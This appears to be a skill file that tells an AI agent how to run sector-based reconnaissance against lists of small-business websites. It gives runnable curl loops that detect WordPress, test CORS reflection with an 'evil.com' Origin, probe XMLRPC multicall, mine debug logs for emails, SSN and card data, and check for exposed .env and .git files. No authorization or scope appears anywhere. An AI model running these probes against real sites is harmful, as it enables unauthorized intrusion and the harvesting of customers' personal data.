recon-sector – skill Bảo mật cho agent AI

RECON-SECTOR — Parameterized Sector Reconnaissance

Unified sector-specific reconnaissance. Takes a sector name (e.g., plumbing, dentists, hvac), loads sector-specific platform and path data from references/sectors.yaml, and runs the standard recon probe suite: WordPress detection, CORS credential reflection, XMLRPC exposure, debug log mining, source leak checks, and directory listing detection.

Replaces 25 individual recon-* skills that were identical template copies with only sector name and platform names changed.

When to Use

• Starting recon on a target in a known SMB sector.
• After sector-recon-methodology produces a target list and you need to probe.
• When you want sector-aware path lists (financing pages, booking portals, etc.) tailored to the target's industry.

Prerequisites

• references/sectors.yaml in the same directory as this SKILL.md.
• Target domain list file (one domain per line).

How to Run

SECTOR="plumbing"
TARGETS_FILE="targets.txt"
python3 references/probe_sector.py "$SECTOR" "$TARGETS_FILE" output/

Quick Reference

| Check | Paths | Severity if exposed |

|-------|-------|---------------------|

| WP detection | /wp-login.php, /wp-content/ | Info |

| REST API users | /wp-json/wp/v2/users | Medium (user enum) |

| CORS + REST API | /wp-json/wp/v2/users with Origin: https://evil.com | High (if ACAC: true) |

| XMLRPC | /xmlrpc.php | Medium (open), High (multicall) |

| Debug log | /wp-content/debug.log | High (PII/SQL leakage) |

| Directory listing | /wp-content/uploads/ | Medium-High (file exposure) |

| Source leaks | /.env, /.git/config, /info.php | Critical (creds in env) |

| Sector-specific paths | From sectors.yaml per sector | Varies |

Procedure

Step 1 — Load sector data

SECTOR="$1"
TARGETS_FILE="$2"
OUTDIR="${3:-output}"

python3 -c "
import yaml, sys
with open('references/sectors.yaml') as f:
    data = yaml.safe_load(f)
sector = data['sectors'].get(sys.argv[1], {})
print('\n'.join(sector.get('high_value_paths', [])))
" "$SECTOR"

Step 2 — WordPress presence check

while IFS= read -r target; do
  [ -z "$target" ] && continue
  code=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w '%{http_code}' "https://$target/wp-login.php")
  [ "$code" != "404" ] && echo "[WP] $target (HTTP $code)"
  sleep 1
done < "$TARGETS_FILE"

Step 3 — CORS credential reflection

while IFS= read -r target; do
  [ -z "$target" ] && continue
  headers=$(curl -sk --max-time 10 --connect-timeout 10 -I "https://$target/wp-json/wp/v2/users" \
    -H "Origin: https://evil.com" 2>/dev/null)
  if echo "$headers" | grep -qi "access-control-allow-origin: https://evil.com" && \
     echo "$headers" | grep -qi "access-control-allow-credentials: true"; then
    echo "[CORS] $target — credential reflection confirmed"
  fi
  sleep 2
done < "$TARGETS_FILE"

Step 4 — XMLRPC exposure

while IFS= read -r target; do
  [ -z "$target" ] && continue
  body=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$target/xmlrpc.php" \
    -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' 2>/dev/null)
  if echo "$body" | grep -q "methodResponse"; then
    has_multicall=$(echo "$body" | grep -c "system.multicall" || true)
    echo "[XMLRPC] $target — active (multicall: $([ "$has_multicall" -gt 0 ] && echo YES || echo no))"
  fi
  sleep 1
done < "$TARGETS_FILE"

Step 5 — Debug log mining

while IFS= read -r target; do
  [ -z "$target" ] && continue
  body=$(curl -sk --max-time 15 --connect-timeout 10 "https://$target/wp-content/debug.log" 2>/dev/null)
  if [ -n "$body" ] && [ ${#body} -gt 200 ]; then
    emails=$(echo "$body" | grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' | sort -u | head -10)
    pii=$(echo "$body" | grep -Eo '(address|phone|street|zip|SSN|card|CC|credit).{0,80}' | head -10)
    echo "[DEBUGLOG] $target — $(echo "$body" | wc -c) bytes"
    [ -n "$emails" ] && echo "  Emails: $emails"
    [ -n "$pii" ] && echo "  PII hints: $(echo "$pii" | wc -l) lines"
  fi
  sleep 2
done < "$TARGETS_FILE"

Step 6 — Sector-specific paths

while IFS= read -r target; do
  [ -z "$target" ] && continue
  for path in $(python3 -c "
import yaml, sys
with open('references/sectors.yaml') as f:
    data = yaml.safe_load(f)
sector = data['sectors'].get('$SECTOR', {})
print(' '.join(sector.get('high_value_paths', [])))
"); do
    code=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w '%{http_code}' "https://$target$path")
    [ "$code" != "404" ] && echo "[SECTOR:$SECTOR] $target$path (HTTP $code)"
    sleep 1
  done
done < "$TARGETS_FILE"

Pitfalls

• Parked/for-sale domains return HTTP 200 for every path. Cross-check: if /robots.txt and /.env both return 200 with near-identical HTML body, mark domain as parked and skip.
• Wildcard DNS. Resolve a random string first: dig RANDOMSTRING.target.com +short. If it resolves to the same IP as the domain, all subdomains appear live.
• crt.sh rate limiting. Use --max-time and expect occasional empty JSON. Retry with delay.
• Debug log content verification. A 200 status on /wp-content/debug.log without sensitive content is NOT a finding. Check for actual PII patterns (emails, phone numbers, SQL queries).
• CORS false positives. ACAO: * without ACAC: true is NOT exploitable. Only ACAO: <reflected origin> + ACAC: true qualifies.

Verification

• Every CORS finding MUST have both Access-Control-Allow-Origin: <reflected> AND Access-Control-Allow-Credentials: true confirmed.
• Debug log findings MUST contain actual PII patterns (emails, phone numbers, addresses, SQL queries) — not just a 200 status.
• XMLRPC findings MUST confirm methodResponse in body — not just a 200 status.
• Directory listing MUST show actual Index of header — not assume from 200 status alone.
• All findings should be saved to per-target markdown files under $OUTDIR/.

Related Skills

• wp-mass-recon — batch scanner for high-volume WordPress probing.
• sector-recon-methodology — sector selection and target generation.
• deep-invade — deep pentest for high-value targets (score >= 6).
• cors-credential-wordpress — detailed CORS exploitation methodology.
• xmlrpc-exploitation — XMLRPC attack vectors (multicall, pingback SSRF, brute force).
• source-leak-hunt — sensitive file detection (.env, .git, backups).
• error-log-mining — error log credential and PII mining.